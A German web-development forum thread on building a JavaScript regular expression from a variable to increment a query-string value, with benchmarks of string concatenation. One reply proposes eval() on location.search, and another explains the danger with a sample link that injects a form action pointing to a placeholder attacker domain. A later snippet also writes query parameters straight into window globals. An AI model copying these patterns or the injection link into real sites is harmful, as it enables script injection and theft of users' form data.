werbeklaus: Variablen in RegExps

Hi ihr,
Ich möchte aus einem string (ein link text) mit einem RegExp etwas ersetzen:

wir befinden uns in einer function, und haben die variable "type" bekommen. Sie hat den Wert typ1, typ2, ...
Jetzt möchte ich aus dem link, der so ausschaut:
?typ1=0&typ2=0&.......

die Zahl nach "typ1" inkrementieren.
das problem ist, dass ich nicht den regExp /type=\d.+\B/ verwenden kann, da type ja eine variable ist und für typ1, typ2, ... steht.

Was kann ich tun?

Vielen Dank,
werbeklaus

  1. werbeklaus,
    Meine Reaktion nach dem ersten Lesen deines Postings: He?
    Meine Reaktion nach dem zweiten Lesen deines Postings: He?? …
    Würdest du deim Problem bitte so schildern, dass man es versteht?

    Ich sag ja auch nicht

    s = "?typ1=0&typ2=0";  
    if (m = s.match(/typ1=(\d+)/))  
      s = s.replace(/typ1=\d+/, "typ1=".concat((parseInt(m[1]) + 1).toString()));
    

    und du verstehst nichts.

    Mit regulären Ausdrücken kannst du (AFAIK) keine numerischen Berechnungen ausführen. Du musst dir also erstmal den Wert hinter "typ1=" als Zahl besorgen. Du suchst also "typ1=" gefolgt von Ziffern, welche du dir merken willst: /typ1=(\d+)/

    Da du die Zeichenfolge, die dem Suchmuster entspricht heben willst, ist die Methode http://de.selfhtml.org/javascript/objekte/string.htm#match@title=match() einzusetzen; das Ergebnis speicherst du in m.

    Hat die Suche Erfolg, ist m ein Array: in m[0] steht die ganze passende Zeichenfolge ("typ1=0"); in m[1] steht der erste (hier einzige) geklammerte Unterausdruck: die Zahl ("0").

    Hat die Suche keinen Erfolg, ist m kein Array, es gibt also weder m[0] noch m[1]. Damit das Script keinen Laufzeitfehler erzeugt (fallst "typ1=" nicht vorkommt oder keine Zahl dahinter steht), solltest du das mit einer if-Abfrage abfangen und nur bei erfolgreicher Suche auf m[1] (die Zahl) zugreifen.

    Nun willst du ersetzen; dazu dient die Methode http://de.selfhtml.org/javascript/objekte/string.htm#replace@title=replace(). Damit die richtige Zahl ersetzt wird, wieder nach "typ1=" gefolgt von Ziffern suchen (die du dir jetzt nicht merken musst): /typ1=\d+/

    Ersetzt wird duch "typ1=" gefolgt von der um 1 erhöhten Zahl, die immer noch als String(!) in m[1] steht. Dazu wird sie in eine Ganzzahl umgewandelt (http://de.selfhtml.org/javascript/objekte/unabhaengig.htm#parse_int@title=parseInt()), erhöht und wieder in einen String umgewandelt (http://de.selfhtml.org/javascript/objekte/number.htm#to_string@title=toString()), der an "typ1=" angehängt wird (http://de.selfhtml.org/javascript/objekte/string.htm#concat@title=concat()).

    Live long and prosper,
    Gunnar

    --
    „Weisheit ist nicht das Ergebnis der Schulbildung, sondern des lebenslangen Versuchs, sie zu erwerben.“ (Albert Einstein)
    1. Ersetzt wird duch "typ1=" gefolgt von der um 1 erhöhten Zahl, die immer noch als String(!) in m[1] steht. Dazu wird sie in eine Ganzzahl umgewandelt (http://de.selfhtml.org/javascript/objekte/unabhaengig.htm#parse_int@title=parseInt()), erhöht und wieder in einen String umgewandelt (http://de.selfhtml.org/javascript/objekte/number.htm#to_string@title=toString()), der an "typ1=" angehängt wird (http://de.selfhtml.org/javascript/objekte/string.htm#concat@title=concat()).

      Den Sinn von "Stringliteral".concat(String) werde ich nie verstehen, wo es doch das einfachere »+« zur Verkettung von Strings gibt.

      (toString() ist auch unnötig, denn wenn man Numberwert + Stringwert notiert, kommt immer ein Stringwert heraus. Aber explizite Typenumwandlung schadet natürlich nicht, vor allem wenn einem diese Regeln noch nicht selbstverständlich im Hinterkopf liegen.)

      Mathias

      1. Den Sinn von "Stringliteral".concat(String) werde ich nie verstehen, wo es doch das einfachere »+« zur Verkettung von Strings gibt.

        molily,
        Vermutlich passiert intern auch dasselbe: beim Operator »+« – wenn auf Strings angewandt – wird die Methode String.concat() aufgerufen.

        (toString() ist auch unnötig, denn wenn man Numberwert + Stringwert notiert, kommt immer ein Stringwert heraus. Aber explizite Typenumwandlung schadet natürlich nicht, vor allem wenn einem diese Regeln noch nicht selbstverständlich im Hinterkopf liegen.)

        IMHO lieber sauber aufschreiben. Durchführen muss der Interpreter die Typenumwandlung sowieso.

        Live long and prosper,
        Gunnar

        PS. „Numberwert“?? Du sprichst fließend denglisch? ;-)

        --
        „Weisheit ist nicht das Ergebnis der Schulbildung, sondern des lebenslangen Versuchs, sie zu erwerben.“ (Albert Einstein)
        1. Vermutlich passiert intern auch dasselbe: beim Operator »+« – wenn auf Strings angewandt – wird die Methode String.concat() aufgerufen.

          Und damit lag ich falsch.

          Hab grad einen Benchmarktest gemacht. Ich hätte vermutet, dass "A".concat("B") schneller ist als "A"+"B", weil der Interpreter bei »+« erst die Typen prüfen muss, um zu wissen, was bei diesem Operator zu tun ist.

          Weit gefehlt: "A".concat("B") ist deutlich langsamer als "A"+"B", etwa um den Faktor 10.

          Live long and prosper,
          Gunnar

          --
          „Weisheit ist nicht das Ergebnis der Schulbildung, sondern des lebenslangen Versuchs, sie zu erwerben.“ (Albert Einstein)
          1. "A".concat("B") ist deutlich langsamer als "A"+"B", etwa um den Faktor 10.

            Ähm, das ist natürlich von der Implementierung in den Browsern abhängig. Der Wert gilt für den Firefox 1.0.2.

            IE 5 ist bei "A".concat("B") deutlich schneller als der Firefox. Das ist aber auch dort langsamer als "A"+"B" (Verhältnis etwa 5 : 3).

            Live long and prosper,
            Gunnar

            --
            „Weisheit ist nicht das Ergebnis der Schulbildung, sondern des lebenslangen Versuchs, sie zu erwerben.“ (Albert Einstein)
        2. Hallo,

          toString() ist auch unnötig, denn wenn man Numberwert + Stringwert notiert, kommt immer ein Stringwert heraus.

          PS. „Numberwert“?? Du sprichst fließend denglisch? ;-)

          Das war eher Fachkauderwelsch. In JavaScript heißt halt der Datentyp »Number«.
          Zugegeben, »Zahlwert« wäre auch eindeutig gewesen. Aber wenn ich gerade von Typen und toString() rede, rede ich durchgängig von Number und String als offiziellen Bezeichnungen statt von »Zahlenwerten« und »Zeichenkettenwerten«.

          Mathias

        3. (toString() ist auch unnötig, denn wenn man Numberwert + Stringwert notiert, kommt immer ein Stringwert heraus. Aber explizite Typenumwandlung schadet natürlich nicht, vor allem wenn einem diese Regeln noch nicht selbstverständlich im Hinterkopf liegen.)

          IMHO lieber sauber aufschreiben. Durchführen muss der Interpreter die Typenumwandlung sowieso.

          Die Frage ist, wie es das tut. Aufgeschreckt durch den Vergleich von "A".concat("B") vs. "A"+"B" hab ich "A"+n.toString() gegen "A"+n antreten lassen:

            n = 1;  
            var start = new Date();  
            for (i = 0; i != 50000; i++)  
              "A"+n.toString();  
            var stop = new Date();  
            alert (stop.getTime() - start.getTime());
          

          (und das Ganze ohne ".toString()")

          Ergebnis:
             IE 5   Firefox 1.0.2
          "A"+n    1.3s   2.6s
          "A"+n.toString()   2.0s   5.5s

          (1) "A"+n ist deutlich schneller als "A"+n.toString()

          (2) Der IE ist der bessere Browser. >;-> Frisst die JavaScript-Konsole des FF so viel Zeit?

          Live long and prosper,
          Gunnar

          --
          „Weisheit ist nicht das Ergebnis der Schulbildung, sondern des lebenslangen Versuchs, sie zu erwerben.“ (Albert Einstein)
          1. Hallo Gunnar,

            n = 1;

            var start = new Date();
              for (i = 0; i != 50000; i++)
                "A"+n.toString();
              var stop = new Date();
              alert (stop.getTime() - start.getTime());

            
            > (und das Ganze ohne ".toString()")  
            >   
            > `                `{:.language-javascript}   IE 5   Firefox 1.0.2  
            > `"A"+n           `{:.language-javascript}   1.3s   2.6s  
            > `"A"+n.toString()`{:.language-javascript}   2.0s   5.5s  
              
            Hui, C64? ;-)  
              
                                 IE6     FF1   Op8.5  Op9p1  
            "A"+n                0,109  0,313  0,047  0,046  
            "A"+n.toString()     0,140  0,547  0,473  0,203  
              
            
            > Frisst die JavaScript-Konsole des FF so viel Zeit?  
              
            Nein, Firefox legt Wert darauf, [sich selbst darzustellen](http://www.mozilla.org/projects/xul/). >;-)  
              
            Grüße  
             Roland  
            
            -- 
            [SELFHTML-Community](http://community.de.selfhtml.org/) > [Visitenkarten](http://community.de.selfhtml.org/visitenkarten/) > [Orlando](http://community.de.selfhtml.org/visitenkarten/view.php?key=25)
            
            1. Orlando,

              Hui, C64? ;-)

              Nö, vergessen, dem Hamster im Laufrad Futter zu geben. ;-)

              Ein großer Teil der Zeit der Abarbeitung von "A"+n geht übrigens für das Holen des Wertes von n drauf. Ich vermute, weil JavaScript-Variablen nach außen hin nicht typisiert sind und deshalb bei Zuweisungen immer eine Typüberprüfung stattfindet?

              Deutlich schneller ist "A"+(1), was sich besser für den Benchmarktest gegen "A"+(1).toString() eignet, weil die Zeit für das Einsetzen der Wertes für n wegfällt.

              Noch wesentlich schneller ist "A"+1, was sich aber für den Benchmarktest nicht eignet, weil "A"+1.toString() nicht geht.

              Live long and prosper,
              Gunnar

              --
              „Weisheit ist nicht das Ergebnis der Schulbildung, sondern des lebenslangen Versuchs, sie zu erwerben.“ (Albert Einstein)
    2. Und für den Mist gab’s auch noch „hilfreich“?! ;-)

      Die zweifache Anwendung eines regulären Ausdrucks ist natürlich nicht optimal. Und auch nicht erforderlich.

      Man zerlegt den String mit http://de.selfhtml.org/javascript/objekte/regexp.htm#exec@title=exec() in Teile:

      • Anfang (beliebig viele beliebige Zeichen, merken in $1),
      • Zeichenfolge "typ1=",
      • folgende Zahl (mindestens eine Ziffer, merken in $2),
      • Rest (beliebig viele beliebige Zeichen, merken in $3).

      Bei Erfolg erhöht man die Zahl und baut den String mit http://de.selfhtml.org/javascript/objekte/regexp.htm#dollar_1_9@title=$[1..9\] wieder zusammen:

      s = "?typ1=0&typ2=0";  
      if (/(.*)typ1=(\d+)(.*)/.exec(s))  
        s = RegExp.$1 + "typ1=" + (parseInt(RegExp.$2) + 1).toString() + RegExp.$3;
      

      Live long and prosper,
      Gunnar

      --
      „Weisheit ist nicht das Ergebnis der Schulbildung, sondern des lebenslangen Versuchs, sie zu erwerben.“ (Albert Einstein)
      1. Falls meine Vermutung richtig sein sollte:

        Der reguläre Ausdruck ist nicht fest, sondern soll also zur Laufzeit dynamisch erzeugt werden. Der Hinweis auf http://de.selfhtml.org/javascript/objekte/unabhaengig.htm#eval@title=eval() kam schon in diesem Thread.

        Ausgehend von

        s = "?typ1=0&typ2=0";  
        if (/(.*)typ1=(\d+)(.*)/.exec(s))  
          s = RegExp.$1 + "typ1=" + (parseInt(RegExp.$2) + 1).toString() + RegExp.$3;
        

        wird /(.*)typ1=(\d+)(.*)/ ersetzt durch eval("/(.*)typ1=(\d+)(.*)/"):

        s = "?typ1=0&typ2=0";  
        if (eval("/(.*)typ1=(\d+)(.*)/").exec(s))  
          s = RegExp.$1 + "typ1=" + (parseInt(RegExp.$2) + 1).toString() + RegExp.$3;
        

        Das funktioniert nicht aber nicht mehr. Das "" muss maskiert werden, damit es erhalten bleibt:

        s = "?typ1=0&typ2=0";  
        if (eval("/(.*)typ1=(\\d+)(.*)/").exec(s))  
          s = RegExp.$1 + "typ1=" + (parseInt(RegExp.$2) + 1).toString() + RegExp.$3;
        

        Das tut immer noch das Gleiche.

        Nun kannst du das Argument von eval() manipulieren, den String also auseinanderreißen und die Variable type ins Spiel bringen:

        s = "?typ1=0&typ2=0";  
        type = "typ1";  
        if (eval("/(.*)"+ type + "=(\\d+)(.*)/").exec(s))  
          s = RegExp.$1 + "typ1=" + (parseInt(RegExp.$2) + 1).toString() + RegExp.$3;
        

        Die Anpassung der Zuweisung s = … sollte dir allein gelingen.

        Live long and prosper,
        Gunnar

        --
        „Weisheit ist nicht das Ergebnis der Schulbildung, sondern des lebenslangen Versuchs, sie zu erwerben.“ (Albert Einstein)
        1. Der reguläre Ausdruck ist nicht fest, sondern soll also zur Laufzeit dynamisch erzeugt werden. Der Hinweis auf http://de.selfhtml.org/javascript/objekte/unabhaengig.htm#eval@title=eval() kam schon in diesem Thread.

          eval() ist trotzdem unnötig, dafür nimmt man new RegExp().

          s = "?typ1=0&typ2=0";  
          type = "typ1";  
          ausdruck = new RegExp("(.*)" + type + "=(\\d+)(.*)");  
          if (ausdruck.exec(s))  
            s = RegExp.$1 + type + (parseInt(RegExp.$2) + 1).toString() + RegExp.$3;
          

          Könnte übrigens aber mit zwei Ausdrücken performanter sein.
          Ein new RegExp(type + "=(\d+)").exec(s) ausführen, daraus den neuen String zusammenbauen (z.B. typ1=1) und letztlich den alten Treffer über s.replace(altertreffer, neuerstring) durch den neuen ersetzen.
          Aber viele Wege führen nach Rom.

          Mathias

          1. eval() ist trotzdem unnötig, dafür nimmt man new RegExp().

            molily,
            Danke. Da haste recht. Ist auch deutlich schneller.

            Könnte übrigens aber mit zwei Ausdrücken performanter sein.

            Warum sollte es das?

            Live long and prosper,
            Gunnar

            --
            „Weisheit ist nicht das Ergebnis der Schulbildung, sondern des lebenslangen Versuchs, sie zu erwerben.“ (Albert Einstein)
            1. Hallo,

              Könnte übrigens aber mit zwei Ausdrücken performanter sein.

              Warum sollte es das?

              Weil das Ausführen des Ausdrucks mit den beiden (.*) meines Wissens lahm ist.

              var s, type, a, e, diff1, diff2, ausdruck, treffer;  
              s = "?typ1=0&typ2=0";  
              type = "typ1";  
                
              a = new Date();  
              for (i = 0; i < 10000; i++) {  
               ausdruck = new RegExp("(.*)" + type + "=(\\d+)(.*)");  
               if (ausdruck.exec(s))  
                s1 = RegExp.$1 + type + "=" + (parseInt(RegExp.$2) + 1) + RegExp.$3;  
              }  
              e = new Date();  
              diff1 = e.getTime() - a.getTime();  
                
              a = new Date();  
              for (i = 0; i < 10000; i++) {  
               ausdruck = new RegExp(type + "=(\\d+)");  
               if (treffer = ausdruck.exec(s)) {  
                ersatz = type + "=" + (parseInt(treffer[1]) + 1);  
                s2 = s.replace(treffer[0], ersatz);  
               }  
              }  
              e = new Date();  
              diff2 = e.getTime() - a.getTime();
              

              Im Firefox und MSIE ist die zweite Methode bei mir schneller, im Opera deutlich langsamer.

              Mathias

    3. Mit regulären Ausdrücken kannst du (AFAIK) keine numerischen Berechnungen ausführen. Du musst dir also erstmal den Wert hinter "typ1=" als Zahl besorgen. Du suchst also "typ1=" gefolgt von Ziffern, welche du dir merken willst: /typ1=(\d+)/

      So weit war ich auch schon. Das Problem war nur, dass ich "typ1" nur in einer Variable zur verfügung habe. (in diesem fall type)
      Nur kann ich natürlich nicht schreiben:
      /type=(\d+)/
      da er dann ja nach "type" sucht

      1. werbeklaus,
        Dann sind wir wohl wieder bei deiner äußerst mangelhaften Problembeschreibung.

        Damit konnte ich ohne meine Glaskugel sehr wenig anfangen. Da ich sie immer noch nicht zurückbekommen habe (http://forum.de.selfhtml.org/archiv/2005/8/t114096/#m726575) ;-), bleibt mir nur ein zweiter Versuch des Ratens:

        Du willst nicht den Wert nach "typ1=" erhöhen, sondern den Wert nach einer beliebigen Zeichenfolge des Querys, die du in der Variablen type hast. Also wenn type=="typ1", soll aus "?typ1=0&typ2=0" "?typ1=1&typ2=0" werden; wenn type=="typ2", soll aus daraus "?typ1=0&typ2=1" werden.

        Bevor ich weiter drüber nachdenke, warte ich erstmal die Bestätigung meiner Vermutung ab.

        Live long and prosper,
        Gunnar

        --
        „Weisheit ist nicht das Ergebnis der Schulbildung, sondern des lebenslangen Versuchs, sie zu erwerben.“ (Albert Einstein)
        1. Du willst nicht den Wert nach "typ1=" erhöhen, sondern den Wert nach einer beliebigen Zeichenfolge des Querys, die du in der Variablen type hast. Also wenn type=="typ1", soll aus "?typ1=0&typ2=0" "?typ1=1&typ2=0" werden; wenn type=="typ2", soll aus daraus "?typ1=0&typ2=1" werden.

          Ja du hast recht. So habe ich es von anfang an gemeint und war davon ausgegangen, es präzise genug beschrieben zu haben. Tschuldigung, falls anders.
          Hast du jetzt eine Lösung?

          1. Ähm, werbeklaus, schon alle neuen Postings in diesem Thread gesehen?

            Hast du jetzt eine Lösung?

            Vor einer Viertelstunde fuhr meine letzte Bahn
            Ich bin der letzte Kunde …“ (Silly, glaub ich)

            Live long and prosper,
            Gunnar

            --
            „Weisheit ist nicht das Ergebnis der Schulbildung, sondern des lebenslangen Versuchs, sie zu erwerben.“ (Albert Einstein)
  2. Lieber werbeklaus,

    ?typ1=0&typ2=0&.......

    die Zahl nach "typ1" inkrementieren.
    Was kann ich tun?

    mit window.location.search könntest Du vielleicht auf die Übergabe des Wertes "type" verzichten...

    Aber Du hast jetzt einen String (eben obiges location.search, nehme ich an?) mit Variablenzuweisungen (eben typ1=0&typ2=0 usw.). Es gibt da eine sehr nützliche Funktion: eval(). Diese Funktion braucht aber einen syntaktisch einwandfreien String, um ihn als Javascript-Anweisung interpretieren und ausführen zu können. Also müssen die "&"-Zeichen durch ";" ersetzt werden, das "?" am Anfang aber ganz weg.

    Danach werden die Variablenzuweisungen ausführt, sodass Dir danach typ1 und typ2 (und alle weiteren aus dem Searchstring) mit Inhalten befüllt zur Verfügung stehen.

    Du solltest aber darauf achten, dass Du die möglichen Variablen vorher als lokale Variablen (mit var typ1, typ2, ...;) initialisierst, damit sie keine möglicherweise vorhandenen globalen Variablen überschreiben!

    Ein Beispiel (als Teil einer HTML-Datei):
    <script type="text/javascript">

    var type, typ1, typ2, test1; // diese Variablennamen können im Searchstring vorkommen  
    var i, variablen_array;  
    type = "?typ1=1&typ2=4&test1=9";  // hier definiere ich mal eben type in Deiner Art  
    variablen_array = type.substring(1, type.length).split("&");alert(type.substring(1, type.length)); // hier wird type als Array zerlegt  
    for(i = 0; i < variablen_array.length; i++) // und zeilenweise...  
       {  
       eval(variablen_array[i]);                // ... interpretiert  
       }  
    alert("Typ1: " + typ1 + "; Typ2: " + typ2 + "; Test1: " + test1); // probeweise Ausgabe der Variablen
    

    </script>

    Liebe Grüße aus Ellwangen,

    Felix Riesterer.

    1. Hallo,

      mit window.location.search könntest Du vielleicht auf die Übergabe des Wertes "type" verzichten...

      Aber Du hast jetzt einen String (eben obiges location.search, nehme ich an?) mit Variablenzuweisungen (eben typ1=0&typ2=0 usw.). Es gibt da eine sehr nützliche Funktion: eval().

      Ja, tolle Sache: Man schreibt JavaScript-Code in die URI einer Seite und schon wird der Code im Kontext der Domain ausgeführt. Noch nie war Phising einfacher und zuverlässiger. ;)

      Mathias

      1. Lieber molily,

        Ja, tolle Sache: Man schreibt JavaScript-Code in die URI einer Seite und schon wird der Code im Kontext der Domain ausgeführt. Noch nie war Phising einfacher und zuverlässiger. ;)

        Gegenvorschlag...?

        Liebe Grüße aus Ellwangen,

        Felix Riesterer.

      2. Ja, tolle Sache: Man schreibt JavaScript-Code in die URI einer Seite und schon wird der Code im Kontext der Domain ausgeführt. Noch nie war Phising einfacher und zuverlässiger. ;)

        So sehe ich das nicht, der Code ist doch Javascript und somit ist der Client "selber schuld".
        Ich habs doch nicht nötig, sowas in die Addressenzeile zu schreiben, nur um JavaScript auf meinem Rechner auszuführen :-)

        1. Hallo,

          Ja, tolle Sache: Man schreibt JavaScript-Code in die URI einer Seite und schon wird der Code im Kontext der Domain ausgeführt. Noch nie war Phising einfacher und zuverlässiger. ;)

          So sehe ich das nicht, der Code ist doch Javascript und somit ist der Client "selber schuld".
          Ich habs doch nicht nötig, sowas in die Addressenzeile zu schreiben, nur um JavaScript auf meinem Rechner auszuführen :-)

          Nein, da hast Du was missverstanden. Würdest Du den Vorschlag von Felix, Teile aus location.search einfach per eval() als JavaScript auszuführen, auf einer Deiner Seiten einsetzen, könntest _Du_ bzw. _Deine_ Nutzer die Geschädigten sein.

          Szenario:
          Dass Du das eval() auf Teile des location.search anwendest, steht im JavaScript-Code nachzulesen. Dieser muss beim Client ankommen, ist also allen öffentlich zugänglich. Der HTML-Quellcode der Seite, auf der Du das anwendest, ist ebenso öffentlich. Nehmen wir an, Du hättest auf dieser Seite ein Formular. Nun könnte ein böser Mensch diese, Deine Seite, wie folgt verlinken:

          http://www.example.org/deineseite.html?typ1=1&typ2=2&document.forms%5B0%5D.action=www.boesedomain.tld%2Fboesescgi.pl

          Was passiert? Nach Felix Methode würde das eval() die Anweisung

          document.forms[0].action=www.boesedomain.tld/boesescgi.pl

          ausführen. Jeder Nutzer, der Deine Seite über diesen bösen Link erreicht, würde die Formulardaten nicht an Dich, sondern an die boesedomain senden.

          viele Grüße

          Axel

    2. mit window.location.search könntest Du vielleicht auf die Übergabe des Wertes "type" verzichten...

      Nein, noch steht das ganze nicht in der Adressenleiste, ich bereite nur einen link auf!

  3. Tag werbeklaus.

    Was kann ich tun?

    Schau dir mal meinen Codeschnipsel an, damit bekommst du in etwa das, was du willst. Wenn du die übergebenen Werte direkt als Variablen benötigst, müsstest du das Ganze einfach so ändern:

    function parse_URI() {  
      var querystring = window.location.search;  
      if(querystring == '') return;  
      var wertestring = decodeURI(querystring);  
      wertestring = wertestring.slice(1);  
      var paare = wertestring.split("&");  
      for (var i=0; i < paare.length; i++) {  
        var name = paare[i].substring(0, paare[i].indexOf("="));  
        var wert = paare[i].substring(paare[i].indexOf("=")+1, paare[i].length);  
        window[name] = wert;  
      }  
    }
    

    Gegeben sei der Querystring "?typ1=0&typ2=wort". Obiger Code ergäbe Folgendes:

    alert('typ1 hat den Wert '+typ1);

    "typ1 hat den Wert 0".

    alert('typ2 hat den Wert '+typ2);

    "typ2 hat den Wert wort".

    Zwar sind alle übergebenen Variablen zunächst - wie der Querystring selber - vom Typ "String", aber hier einen Ausweg zu finden (wenn nötig), wirst du jetzt sicher selber hinbekommen.

    Siechfred